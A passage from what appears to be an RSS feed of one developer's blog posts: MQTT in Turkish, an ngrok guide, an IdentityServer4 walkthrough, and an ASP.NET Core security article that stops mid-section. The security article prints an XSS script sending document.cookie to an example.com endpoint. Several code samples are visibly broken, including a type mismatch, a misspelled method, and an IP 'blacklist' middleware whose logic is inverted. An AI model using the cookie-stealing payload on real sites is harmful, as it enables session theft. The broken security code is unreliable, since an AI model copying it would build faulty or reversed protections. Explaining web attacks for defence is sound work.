çok sebebi var. Bunların başında hafif bir sistem olması gelmektedir. Küçük donanımlar için düşük sistem gereksinimleri gerekmektedir. MQTT client’leri bunu sağlamaktadır. Çift yönlü (bi-directional) iletişimi sağlar. Milyonlarca uç için kolaylıkla ölçeklendirilebilir. Farklı QoS seviyeleri bulunmaktadır. Yani uçlar için port önceliği tanımlanabilmektedir. Mesajlar TLS ile şifrelenebilir ve yetkilendirme yapılabilir.</p><p>Bunların yanı sıra, MQTT’yi daha değerli kılan şey geliştirilebilmeye açık olmasıdır. Bir çok programla dilinde açık kaynaklı olarak broker’lar ve client’ler bulunmaktadır. Bu protokolün yeteneklerini özetlemek gerekirse;</p><ul><li>Düşük sistem gereksinimi</li><li>Çift yönlü iletişim</li><li>Ölçeklenebilir</li><li>QoS (Quality of Service)</li><li>TLS/SSL Şifreleme</li><li>Yetkilendirme(Authenticate)</li><li>Düşük bant genişliği</li><li>Geliştirilebilirlik</li></ul><h3>Küçük Bir Teminoloji</h3><p><strong>Broker</strong>: Client’lerin iletişimi sağlamak için bağlandığı ortak sunucudur. Ayrıca tüm mesaj iletişimin yönetimi bu sunucuda sağlanır.</p><p><strong>Publisher</strong>: Belli bir topic(konu) üzerinden yayın yapan client.</p><p><strong>Subscriber</strong>: Belli bir topic(konu) üzerinden yapılan yayını takip eden client.</p><p><strong>Topic</strong>: Clientlerin abone olduğu kelimedir.</p><p><strong>Nasıl Çalışır?</strong></p><p>MQTT, publisher/subscriber mimarisine sahip olduğundan bahsetmiştik. Yani bir client bir topic’e abone olmaktadır. O topic üzerinden herhangi bir yayın yapıldığı zaman broker abone olmuş client’e mesajı iletir.</p><p>Aşağıdaki örnek MQTT’nin referans web sitesinden alınmış bir görseldir. Örnekte, termometre publisher olarak görev almaktadır. Üzerinde sensör bulunan client sürekli olarak “temperature” topic’i üzerinden yayın yapmaktadır. Broker’e gelen mesaj, “temperature” topic’ine abone olan mobil ve sunucu clientlerine mesajı iletmektedir. Bu mesajlaşmalar topic üzerinden gerçekleştirildiğinden dolayı ölçeklendirilebilir bir sistem oluşturmaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PFFtI-piKuadjY3fxHm23A.png" /><figcaption>MQTT Mimari</figcaption></figure><h3>MQTT vs CoAP vs XMPP</h3><p>IoT teknolojileri üzerinde MQTT’nin yerine geçebilecek bir çok protokol bulunmaktadır. Bunların bazıları CoAP ve XMPP’dir. Bu protokollerin bazı özellikleri MQTT’e göre yetersiz kalsada, XMPP’deki güvenlik gibi bazı özellikleri MQTT’den daha iyidir. Aşağıdaki görselde ise popüler protokollerin MQTT ile karşılaştırılması bulunmaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n7-kT8y-o1dy1JPqzOOzng.jpeg" /></figure><p>Kısaca kıyaslamak gerekirse MQTT çok daha hafif ve çok daha az kaynak tüketmesinden dolayı öne çıkmaktadır.</p><h3>Geliştiriciler İçin</h3><p>MQTT’nin popülerliğinden dolayı pek çok programlama dilinde broker sunucuları ve clientler piyasada bulunmaktadır. Aşağıda popüler açık kaynaklı brokerler listelenmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*gPiE7OJL5ysJ1iME8HwA5w.png" /></figure><blockquote><a href="https://github.com/ikbalkazanc/HostSelf-MQTTnet">Ek olarak linkten .NET için geliştirdiğim örnek projeyi bulabilirsiniz.</a></blockquote><p>Clientler için geliştirilen SDK’lar Broker Sunucuları gibi bir çok alternatifi bulunmaktadır. Neredeyse tüm popüler dillerde SDK’lar bulunmaktadır. Bunun yanı sıra, Arduino veya Esp gibi mikrokontrolcülerde kullanılabilecek kütüphanelerde bulunmaktadır. Ayrıca MQTT için bir çok bulut hizmeti bulunmaktadır. AWS, Azure gibi popüler servislerin dışında harici birçok servis bulunabilmektedir.</p><p>Bu makalemde sizlere MQTT hakkındaki bilgilerimi aktarmaya çalıştım. Umarım faydalı olabilmişimdir. Daha detaylı olarak kaynakçada bulunan linklerden inceleyebilirsiniz. Karşılaştığınız bir problem olursa yorum atarak etkileşimi arttırabilirsiniz.</p><h3>KAYNAKÇA</h3><p><a href="https://mqtt.org/">https://mqtt.org</a></p><p><a href="https://internetofthingsagenda.techtarget.com/definition/MQTT-MQ-Telemetry-Transport">What is MQTT and How Does it Work?</a></p><p><a href="https://en.wikipedia.org/wiki/MQTT">https://en.wikipedia.org/wiki/MQTT</a></p><p><a href="https://www.hivemq.com/mqtt-essentials/">MQTT Essentials</a></p><p><a href="https://www.linkedin.com/pulse/internet-things-iot-application-protocols-narsimhmaswamy-badugu/">https://www.linkedin.com/pulse/internet-things-iot-application-protocols-narsimhmaswamy-badugu/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1851d0f7a7fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ngrok nedir? Nasıl atılır?]]></title>
            <link>https://ikbalkazanc.medium.com/ngrok-nedir-nas%C4%B1l-at%C4%B1l%C4%B1r-6c1a7f950d01?source=rss-e4825d8e8df0------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c1a7f950d01</guid>
            <category><![CDATA[aspnetcore]]></category>
            <category><![CDATA[web-tools]]></category>
            <category><![CDATA[ngrok]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[web]]></category>
            <dc:creator><![CDATA[Muhammet İkbal KAZANCI]]></dc:creator>
            <pubDate>Tue, 15 Dec 2020 05:37:53 GMT</pubDate>
            <atom:updated>2020-12-15T05:37:53.969Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e5QBl_lI1ReIbd--RteLgA.png" /></figure><p>Web geliştiricileri için bilgisayarlarından eksik edilmeyecek bir araçtır. Projenin internet’e yayınlaması için geçici bir kanal oluşturulur. Bu kanal üzerinden dünyanın her yerinden erişilebilir olur. Yayınlama işleminin hızlı ve pratik olması ngrok’un yangın olmasının başlıca sebebi olduğu söylenebilir. Normal koşullarda kodladığımız projenin internet’e açılması için aracı bir servis(Azure, AWS vs.) kullanılması gerekir. Ngrok sayesinde oluşturduğu kanal ile lokal adresimize bağlanılır. Böylece projenizi internet’e açmış olursunuz.</p><h3>Kurulum</h3><p>Kullanımının kolay olduğundan bahsetmiştim. Fakat kullanmaya başlamadan önce küçük bir kaç küçük işlemin yapılması gerekiyor. Öncellikle resmi sitesine(<a href="https://ngrok.com/">ngrok.com</a>) giderek bir hesap oluşturulması gerekmektedir. Hesap oluşturduğumuzda hesabınıza özel bir token oluşturulur. Bu token ile hizmetin kullanılmasına izin verilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VDQAXl1ZyCFpa7cXLnSedA.png" /></figure><p>Kayıt olduktan sonra gönderdiği sayfadan program indirilir. Hemen ardından verilen token komutu cmd üzerinden çalıştırılır. Böylece benzersiz tokeniniz programa tanımlanmış olur.</p><blockquote>ngrok authtoken &lt;auth_token&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*4Oksn3-JyldPIUzTG2S0tQ.png" /></figure><h3>Uygulama</h3><p>Ngrok’a kayıt işlemlerini hallettikten sonra uygulamamızı kısa bir işlem ile yayınlama aşamasına geldik. Sadece küçük bir komut ve uygulamanızın lokalde kullandığı port numarası verilerek yayınlanmış olur.</p><blockquote>ngrok http &lt;port_number&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*RjuhRk916toGR1wWl9Vvvg.png" /></figure><p>Devamında ise ngrok bize bir sanal kanal oluşturarak bize bir url verir. Ayrıca bize SLL sertifikalı başka bir url daha verecektir. Tercihen kullanılabilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*7GyDbYl4HRkLW16JheI8eQ.png" /></figure><p>Ngrok isteklerin takibini sağlamak için bir lokalde UI sağlamaktadır. localhost:4040 adresinden bu UI’a erişilebilir.</p><h3>ASP.Net Core Ngrok</h3><p>React, Java gibi web uygulamalarında bu yöntemle internet’e açılabilir. Ancak ASP.Net web uygulamasını paylaşırken ortak bir sorun oluşmaktadır. 502 Bad Gateway hatası göndermektedir. Bundan dolayı farklı bir adres gönderilmesi gerekiyor.</p><blockquote>ngrok http <a href="https://localhost:5001/">https://localhost:5001</a> -host-header=”localhost:5001”</blockquote><p>Bitirmeden önce bir husustan daha bahsetmek isterim. Farklı url’ler ile ngrok kanalı oluşturulabilir. Örneğin;</p><blockquote>Subdomain kullanılmak istendiğinde:</blockquote><blockquote>ngrok http -subdomain=baz 8080</blockquote><blockquote>Eğer port yerine host kullanılmak istendiğinde:<br> &gt;ngrok http foo.dev:80</blockquote><blockquote>direk olarak lokal adres verilebilir<br> &gt;ngrok http <a href="https://localhost/">https://localhost</a></blockquote><blockquote>TCP tüneli oluşturulabilir.<br>&gt; ngrok tcp 22</blockquote><p>Elimden geldiğince ngrok kullanımını anlatmaya çalıştım. Aslında anlatımı gerekli olduğunu düşündüğüm bir şey değil. Birçok kaynaktan hatta kendi dökümantasyonlarından bu bilgilere ulaşılanabilir. Ancak asp.net sorunu gibi bir kaç küçük soruna değinmek istedim. Okuduğunuz için teşekkürler.</p><h3>Kaynak</h3><p><a href="https://www.jerriepelser.com/blog/using-ngrok-with-aspnet-core/">Access your local ASP.NET Core web application from the public web</a></p><p><a href="https://ngrok.com/docs">https://ngrok.com/docs</a></p><h3>İletişim</h3><p>Muhammet İkbal KAZANCI — <a href="https://github.com/ikbalkazanc/Asp.NetCore-Security">Github Repository</a> — <a href="https://www.linkedin.com/in/ikbalkazanc/">LinkedIn</a> — <a href="/service/mailto:mi.kazanci@hotmail.com">mi.kazanci@hotmail.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c1a7f950d01" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Identity Server 4 And Client Credentials Grant Sample]]></title>
            <link>https://ikbalkazanc.medium.com/identity-server-4-and-client-credentials-grant-sample-ed67e0635574?source=rss-e4825d8e8df0------2</link>
            <guid isPermaLink="false">https://medium.com/p/ed67e0635574</guid>
            <category><![CDATA[dotnet]]></category>
            <category><![CDATA[software]]></category>
            <category><![CDATA[csharp]]></category>
            <category><![CDATA[identityserver4]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Muhammet İkbal KAZANCI]]></dc:creator>
            <pubDate>Sat, 05 Dec 2020 01:53:56 GMT</pubDate>
            <atom:updated>2020-12-07T08:03:07.165Z</atom:updated>
            <content:encoded><![CDATA[<p><em>I tried explain identity server. in the enf of article you will have knowledge of many significant topics like grants and endpoint. Also i explained client credentials grant step by step. Could be some grammer and word mistakes because of my english. I hope it’s understandable. Good luck </em>🍀</p><p><strong><em>a little note :</em></strong><em> You can find source code in </em><a href="https://github.com/ikbalkazanc/Asp.NetCore-IdentityServer4"><em>my github repositories</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*d8MHJo9gxlFUvQsAtpqUOA.jpeg" /></figure><h3>Identity Server</h3><p>Identity server is provide many easiness to us. We can define authorization rules. And we can assing this rules to APIs and Clients. As example, client1 can do just read process in Apı2. It provides many facilities like this. We will talk about in detail later. Indentity Server is use OAuth 2 and OpenId Connect protocols. So we are required to know what they are.</p><h4>OAuth 2.0 (Authorization)</h4><p>OAuth protocols is provide secure authorization for systems like web, mobile. We are seeing many instances in daily life as sign in to any web sites. I will tell many information about OAuth. if you want see about it You can examine <a href="https://oauth.net/2/">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*903YCd7Ezsmq2EXAXM0zow.png" /></figure><h4>OpenId Connect (Authentication)</h4><p>OpenId Connect allows Clients to verify the identity of the End-User based on the authentication performed by an Authorization Server. if you want see about it You can examine <a href="https://openid.net/connect/">here</a>.</p><h3>Some Important Terms</h3><p><strong><em>Resources :</em></strong> Resources are a series of identity. We will define identity rules inside resource. And we are assign to clients them. As example, we will do define just reading to in API 1 for Client1.<br><strong><em>Identity Token</em></strong><em> : </em>Information about how and when the user authenticated. It can contain additional identity data.<br><strong><em>Access Token :</em></strong> We are give token to request. These are contained in client names, base urls, scopes, private key and public key. There are a lot of details, but for now, these concern us. Also below is a sample token.</p><pre>eyJhbGciOiJSUzI1NiIsImtpZCI6IjJDQzA3MEI2NjMxRTUzMEY0MjkwRUJEOEY0MzI4QzQ1IiwidHlwIjoiYXQrand0In0.eyJuYmYiOjE2MDYzOTEwNzYsImV4cCI6MTYwNjM5NDY3NiwiaXNzIjoiaHR0cHM6Ly9sb2NhbGhvc3Q6NTAwMSIsImF1ZCI6InJlc291cmNlX2FwaTEiLCJjbGllbnRfaWQiOiJDbGllbnQxIiwianRpIjoiQjE1N0JFRjc1MkUxMzQzNzlGOUFFM0I5MzJCNkYzNTIiLCJpYXQiOjE2MDYzOTEwNzYsInNjb3BlIjpbImFwaTEucmVhZCIsImFwaTEudXBkYXRlIiwiYXBpMS53cml0ZSJdfQ.dQYwd9JLt9YGvhkxp36GSNRttSI9rYoz2KctY0FFD2XQ5X0pvyLi07FmHJik8zZnXRezXH2txwy9VkbbQ-bwEZ5cWzylmuS2fXKkUTr2wyQhV6_tyPOjluGrKBcUHkB1cL_ypXRm6ijy-i1XxVuGNjPiT0LZH9aB69RaeQn4khWAY27VFVucWkPhf3nkTvH7dOKPu-cK8cmpLPkQa7BT08cxddOqB8kK_9YZEp3wyvjTBXF_V0GfxvQfMtEp60LBx2gfXJGHm1PMftF5k0oTCZB1xYWwR_P2HY-3Edl0AwZSvz80-v2GTSm2q9RWfuLSlZVB5AvAmQyh0OfyNUx7XA</pre><h3>OAuth 2.0 Grands (Flows)</h3><h4>Authorization Code Grant</h4><p>This is so complicated. But in sum, Resource owner(user) is sending request to identity server with client identifier(username&amp;password). This server can be facebook, twitter authorization servers(identity server) etc. Then server checking client identifier. if it’s right it send authorization code(identity token) to client. And when client request to APIs it sending authorization code to authorization servers. Authorization servers is sending back access token and client credential. anymore client can be request to api with access token. You can read more in <a href="https://tools.ietf.org/html/rfc6749#section-4.1">here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*7YnjRxY992qf3kYk_YOIqw.png" /></figure><h4>Implicit Grant</h4><p>Implicit grant is such as authorization code grant but have a one difference. It’s sending one request to authorization server. Authorization server redirection URI with access token and client credential. You can read more in <a href="https://tools.ietf.org/html/rfc6749#section-4.2">here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gvxGc7stJ1N9dAOtw7soDg.png" /></figure><h4>Resource Owner Credentials Grant</h4><p>In this, it sends “resource owner” and “password credentials” information to the authorization server. Authorization server redirection URI with access token and client credential. Such as implicit grant but includes authorization code grant properties. You can read more in <a href="https://tools.ietf.org/html/rfc6749#section-4.3">here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*3NXBn3bHNkI1isBLNOrdow.png" /></figure><h4>Client credentials grant</h4><p>It is the simplest of them all. we are send client authentication to authorization server. Then, server is send back response to client with access token. You can read more in <a href="https://tools.ietf.org/html/rfc6749#section-4.4">here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/0*fXmecOthcgUMI6VK.png" /></figure><h3>Identity Endpoints</h3><p>Identity server is provide a series endpoints. We will by using them communicate with identity server. We will include Http client then request token and info from server. Below I tried to explain some of the “endpoints” that I think significant. Also you can find out more in <a href="https://identityserver4.readthedocs.io/en/latest/endpoints/discovery.html">here</a></p><h4>Discovery Endpoint</h4><p>Discovery endpoint is a information request about auth server. its response json string to us. Has many info inside of discovery. Such as base url, supported scopes, claims, grant types and response types. Below url is discovery endpoint.</p><pre>https://base-url/.well-known/openid-configuration</pre><h4>User Info Endpoint</h4><p>We can get information about user idenity from auth server. We need token for this.Also when we get information, some data will be missing. We can set this up in client services.</p><pre>GET https://base-url/connect/userinfo<br>Authorization: Bearer &lt;access_token&gt;</pre><h4>Introspection Endpoint</h4><p>This time we are checking to token authorize on API as client. of course we’re require token and authorization type. Server is send back response to client as true or false.</p><pre>POST https://base-url/connect/introspect</pre><h3>Quickstart UI</h3><p>A sample UI is exist in identityServer4 github page. I will by using this UI i contunie this project. For this reason required including in the auth server for those who will read the entire blog. You easily can include with powershell.You can visit the github repository for more details in <a href="https://github.com/IdentityServer/IdentityServer4.Quickstart.UI">here</a>.</p><h3>Creating Solution Project</h3><p>First of all we are need a project template. I will use a API, 2 Client and a AuthServer as web application project in my solution. I will tell the whole scenario through these projects. You can examine structure in the repository.</p><h3>Client Credentials Grant Application</h3><p>Let’s remember again. What is Client Credentials Grant? We were doing client authentication request to auth server. Then it sending back with Access Token. Hereunder let’s create a scenario. We have two client and two API . And we define identity allowance for APIs. such as read or write. as example, client1 can read to API1 and client2 can write to API2. Apart from these, clients cannot access to apıs.</p><h3>1. Configure Sources</h3><p>We will work in memorylable. For this reason we creating a named Config.cs in Auth server project. We define clients, resources and scopes in this class. Actually this code part is so understandable. But still let&#39;s explain. We are defining for middleware services. And we are create ApiScope list. Then we defining resource for APIs. And clients...</p><p><strong>Scopes</strong></p><pre>public static IEnumerable&lt;ApiScope&gt; GerApiScopes()<br>{<br> return new List&lt;ApiScope&gt;<br> {<br>  new ApiScope(&quot;api1.read&quot;,&quot;read permission for API 1&quot;),                <br>  new ApiScope(&quot;api2.write&quot;,&quot;write permission for API 2&quot;),              <br> };<br>}</pre><p><strong>API Resources</strong></p><pre>public static IEnumerable&lt;ApiResource&gt; GetApiResource()<br>        {<br>            return new List&lt;ApiResource&gt;<br>            {<br>                new ApiResource(&quot;resource_api1&quot;){Scopes = {&quot;api1.read&quot;}},<br>                new ApiResource(&quot;resource_api2&quot;){Scopes = {&quot;api2.write&quot;}}<br>            };<br>        }</pre><p><strong>Clients</strong></p><pre>public static IEnumerable&lt;Client&gt; GetClients()<br>        {<br>            return new List&lt;Client&gt;()<br>            {<br>                new Client()<br>                {<br>                    ClientId = &quot;Client1&quot;,<br>                    ClientName = &quot;Client 1 API app&quot;,<br>                    ClientSecrets = new[] {new Secret(&quot;secret&quot;.Sha256()) },<br>                    AllowedGrantTypes = GrantTypes.ClientCredentials,<br>                    AllowedScopes = {&quot;api1.read&quot;}<br>                },<br>                new Client()<br>                {<br>                    ClientId = &quot;Client2&quot;,<br>                    ClientName = &quot;Client 2 API app&quot;,<br>                    ClientSecrets = new[] {new Secret(&quot;secret&quot;.Sha256()) },<br>                    AllowedGrantTypes = GrantTypes.ClientCredentials,<br>                    AllowedScopes = {&quot;api2.write&quot;}<br>                },<br>                }<br>            };<br>        }</pre><p>We defined some resource. On next, there is introducing resources to identity server. We will add service and middleware layer. Also require define grant type for identity server in sevices.</p><pre>services.AddIdentityServer()<br>  .AddInMemoryApiResources(Config.GerApiResource())<br>  .AddInMemoryApiScopes(Config.GerApiScopes())<br>  .AddInMemoryClients(Config.GetClients())<br>  .AddDeveloperSigningCredential();</pre><p><strong>Note :</strong>It’s must define after from authorization</p><pre>app.UseIdentityServer();</pre><h3>2. Client Side Processes</h3><p>in the next, require to realizationing of client credentials grant algorithm. I tried explain process by process in below. I hope it’s apprehensible.</p><pre>public async Task&lt;IActionResult&gt; Index()<br>  {<br>  //require http client object for requests<br>  HttpClient httpClient = new HttpClient();<br>  //we&#39;re gets information about auth server such as scopes and base url<br>  var discovery = await httpClient.GetDiscoveryDocumentAsync(&quot;https://localhost:5001&quot;);<br>  <br>  if (discovery.IsError){/*Logging*/}</pre><pre>  ClientCredentialsTokenRequest clientCredentialsTokenRequest = new ClientCredentialsTokenRequest();<br>  clientCredentialsTokenRequest.ClientId = &quot;Client1&quot;;<br>  clientCredentialsTokenRequest.ClientSecret = &quot;secret&quot;;<br>  //We define address (https://base-ulr/connect/token) where we will receive token   <br>  clientCredentialsTokenRequest.Address = discovery.TokenEndpoint;<br>  //And sending request<br>  var token = await httpClient.RequestClientCredentialsTokenAsync(clientCredentialsTokenRequest);</pre><pre>  if (token.IsError){/*Logging*/}</pre><pre>  //at now we have a access token. We can request to api. Also require authorization type in header<br>  httpClient.SetBearerToken(token.AccessToken);</pre><pre>  var response = await httpClient.GetAsync(&quot;https://localhost:5016/api/product/getproducts&quot;);<br>  List&lt;Product&gt; products = new List&lt;Product&gt;();<br>  if (response.IsSuccessStatusCode)<br>  {<br>  var content = await response.Content.ReadAsStringAsync();<br>  products = JsonConvert.DeserializeObject&lt;List&lt;Product&gt;&gt;(content);<br>  }<br>  else{/*Logging*/}</pre><pre>  return View(products);<br>}</pre><h3>3. API Side Processes</h3><p>Now, We must inform to API project about resources lastly. But after we must include Jwt Token nutget package. Also since it’s the middleware level we are adding app.UseAuthentication() to configure method. Footnote, authentitcation must be after authorize.</p><pre>public void ConfigureServices(IServiceCollection services)<br>        {<br>            services.AddAuthentication(/*NormalUser*/JwtBearerDefaults.AuthenticationScheme)<br>                .AddJwtBearer(/*NormalUser*/JwtBearerDefaults.AuthenticationScheme, opt =&gt;<br>                {<br>                    opt.Authority = &quot;https://localhost:5001&quot;;<br>                    opt.Audience = &quot;resource_api1&quot;;<br>                });<br>            services.AddAuthorization(opts =&gt;<br>            {<br>                opts.AddPolicy(&quot;ReadProduct&quot;, policy =&gt;<br>                {<br>                    policy.RequireClaim(&quot;scope&quot;, &quot;api1.read&quot;);<br>                });<br>                opts.AddPolicy(&quot;UpdateOrCreate&quot;, policy =&gt;<br>                {<br>                    policy.RequireClaim(&quot;scope&quot;, new [] {&quot;api1.update&quot;,&quot;api1.create&quot;});<br>                });<br>            });<br>            services.AddControllers();<br>        }</pre><p>in contorller, we can use authorize attribute for action. Or can be direct controller level. if request is not authorized, identity server will return unauthorized status.</p><pre>[Authorize(Policy = &quot;ReadProduct&quot;)]<br>public IActionResult GetProducts()<br>{<br>  return Ok(new List&lt;Product&gt;());<br>}</pre><h3>Result</h3><p>We learned many topic about identity server 4. And we solved an example according to the scenario. Now we can code system using client credentials flow with identity server. I didnt mention so about another flows. But you can find many article about its in internet.Thank you for reading. Good luck with coding.</p><h3>Source</h3><p><a href="https://www.gencayyildiz.com/blog/identityserver4-yazi-serisi-8-authorization-code-grantflow/">https://www.gencayyildiz.com/blog/identityserver4-yazi-serisi-8-authorization-code-grantflow/</a><br><a href="https://tools.ietf.org/html/rfc6749">https://tools.ietf.org/html/rfc6749</a><br><a href="https://identityserver4.readthedocs.io/en/latest/index.html">https://identityserver4.readthedocs.io/en/latest/index.html</a></p><h3>Contact</h3><p>Muhammet İkbal KAZANCI — <a href="https://www.linkedin.com/in/ikbalkazanc/">LinkedIn</a> — <a href="/service/mailto:mi.kazanci@hotmail.com">mi.kazanci@hotmail.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ed67e0635574" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Asp.Net Core 3.1 Basic Attacks and Solutions]]></title>
            <link>https://ikbalkazanc.medium.com/asp-net-core-3-1-basic-attacks-and-solutions-807fe367e2d3?source=rss-e4825d8e8df0------2</link>
            <guid isPermaLink="false">https://medium.com/p/807fe367e2d3</guid>
            <category><![CDATA[aspnetcore]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[aspnet]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[aspnet-mvc]]></category>
            <dc:creator><![CDATA[Muhammet İkbal KAZANCI]]></dc:creator>
            <pubDate>Thu, 26 Nov 2020 00:43:17 GMT</pubDate>
            <atom:updated>2020-11-26T21:44:24.485Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YgzETHIsxdcFjHWm.jpg" /></figure><p>This article explain simple but effective attacks through examples. Asp.Net can resolving many problem. We need to do just let it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/0*EnxSKKgNtkEwfwkI.png" /></figure><h3>Security Precautions</h3><h3>1.Data Protection</h3><p>Not need “TATAVA”. in sum, Valuable data are require hide. Therefore we will encrypt data. Thus datas are store as encrypted for memory or cookies in client side.</p><pre>www.domain.com/products/77<br>www.domain.com/products/PIjlIX2rVMPEsXyZ9rvhQJdJDxXRr5zyt_hiDhRRlBmtLo1npprgm2CMnQRcBWylcVWq8fjvwyngsfad</pre><p>We will use Microsoft.AspNetCore.DataProtection. Have require two things us. Top secret key and (IDataProtector) dependency injection in controller. Key thinkable like door key. Key is require for opening door.</p><pre>private readonly IDataProtector _dataProtector;<br><br>public ProductController(IDataProtectionProvider provider)<br>{<br>  _dataProtector = provider.CreateProtector(&quot;private_key_for_example_can_be_ProductController&quot;);            <br>}</pre><p>And we can define encrypter in action input and output. I’m fondle .Net Core’s eye. it is just that easy.</p><pre>public IActionResult Index()<br>{<br>  int userId = 1001;<br>  int encrypUserId = _dataProtector.Protect(userId);<br>  return View(encrypUserId);<br>}</pre><pre>public IActionResult Index(string encryptedId)<br>{<br>  int userPassword = Int32.Parse(_dataProtector.Unrotect(userPassword));<br>  return View();<br>}</pre><p><strong>Note : </strong>Above all must add services.AddDataProtection() in Startup.cs services. Also all of these can be as middleware.</p><h3>2.IP Control</h3><p>IP control provide to define blacklist or whitelist for IPs. We will manegement IP lists. Thus we can block malicious. We will code as middleware level in this sample. Therefore we need to define RequestDelegate in dependency injections.</p><pre>private readonly RequestDelegate _next;<br>private readonly string[] _ipBlackList = {&quot;127.0.0.1&quot;, &quot;::1&quot;};<br>  <br>public IPSafeMiddleWare(RequestDelegate next)<br>{<br>  _next = next;<br>}</pre><p>And coding Invoke() method. This method provide coding middleware to us. Required request context for method. And we check that it is in blacklist.</p><pre>public async Task Invoke(HttpContext context)<br>{<br>  var requestIpAdress = context.Connection.RemoteIpAddress;<br>  var isWhiteList = _ipBlackList.Where(x =&gt; IPAddress.Parse(x).Equals(requestIpAdress)).Any();<br>  if (!isWhiteList)<br>  {<br>    context.Response.StatusCode = (int) HttpStatusCode.Forbidden;<br>    return;<br>  }           <br>  await _next(context);<br> }</pre><p>Last all we need to do let know middleware to asp.net. We define IPSafeMiddleware in Startup.cs Configure method. And finished.</p><pre>app.UseMiddleware&lt;IPSafeMiddleWare&gt;();</pre><p>Actually you can do this checking process as filter too. Thus you can checking ip in controller level or action level. Maybe this can improve performance.</p><h3>3.Secret Protection</h3><p>Normally we are recording connection string to appsettings.json. But datas not be in safe there. Asp.Net Core is avert this situation. it&#39;s providing top secret file for top secret data. Thanks Bill Doors 🙏.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/0*U1nhYE-41lfgQuDf.png" /></figure><p>We can access by right click web project file then choice Manage Users Secrets so to top secret file. Now, We can write secret contexts inside of appsettings.json to this json file. Asp.NET Core add secrets.json inside to appsettings.json in compile time. Thinkable like one file.</p><h3>4.CORS (Cross-Origin Resource Sharing)</h3><p>in sum, Permission is required to pass through CORS. in conclusion not its dad’s farm. We need to a policy key for permission. We can define CORS in Startup.cs services. Then require add inside middleware layer like this app.UseCors(&quot;AllowSites&quot;);.</p><pre>public void ConfigureServices(IServiceCollection services)<br>{<br>  services.AddCors(options =&gt;<br>  {   <br>    //allow all domains            <br>    options.AddDefaultPolicy(builder =&gt;<br>    {<br>      builder.AllowAnyOrigin().AllowAnyHeader().AllowAnyMethod();<br>    }); <br>    <br>    //allow spesific domains<br>    options.AddPolicy(&quot;AllowSites&quot;, builder =&gt;<br>    {<br>      builder.WithOrigins(&quot;https://localhost:44355&quot;, &quot;https://anywebsites.com&quot;, &quot;etc.&quot;)<br>      .AllowAnyHeader().AllowAnyMethod();<br>    });<br>  });<br>}</pre><p>Also we can define more specific rules. I tried explain in project file. You can examine.</p><h3>Attacks</h3><h3>1.XSS</h3><p>This is a kind of script vulnerability. Done by integrate harmful script in our HTML and JS files. Actually There are 3 ways. But we can apply same solution all of them. Net Core provide solution as default. Again thanks great dot net. Not need to define in Startup.cs file. if we want we can disable it.</p><pre>&lt;script&gt; new Image().\&quot;http://example.com/readCookie/?account=\&quot;+document.cookie\&quot;&lt;/script&gt;</pre><p>as example, when this script integrated to our js codes it’s send to own “domain”. that’s very simple process but so effective. XSS attacks are one of the most common forms of Web Attacks, and this type of attack accounts for 12.75% of all web attacks.</p><h4>Reflected</h4><p>Hacker is integrate scripts to browser in client side. Nevertheless we can block this scripts. He’s can access a user data.</p><h4>Stored</h4><p>Hacker is integrate scripts to source code in server side. it’s so dangerous. Hacker can access all users data.</p><h4>Dom (Document Object Model)</h4><p>This way genrally weld up from trying to payload after # sign.</p><h3>2.CSRF(Cross Site Request Forgery)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/0*Ms8NUFeyJeiiAd2Q.jpg" /></figure><p>Actually picture explain everything. in sum, hacker is creating new request with using fake url. in meantime he’s stealing datas inside of request. Solution of this problem is simple too with Asp.Net Core. it’s creating token for request. When reponse arrive in back Asp.Net Core is checking token.<br>We’re will using as application level filter. We’re adding service in `Startup.cs` file. And it finished.</p><pre>services.AddControllersWithViews(opt =&gt;<br>{<br>  opt.Filters.Add(new AutoValidateAntiforgeryTokenAttribute());<br>});</pre><p>if you want we can disable antiforgery token in controller level.</p><pre>[IgnoreAntiforgeryToken]     <br>public IActionResult Index()<br>{     <br>  return View();<br>}</pre><p><strong>Note :</strong> if necessary you can find about CSRF code in Course.Attacks.XSS.Web project.</p><h3>3.Open Redirect Attack</h3><p>Let’s think like this, as example. You are liked .357 cal revolver in amazon. But must sign in to amazon for buy it. And it’s direct to sign page you. And generally be url like 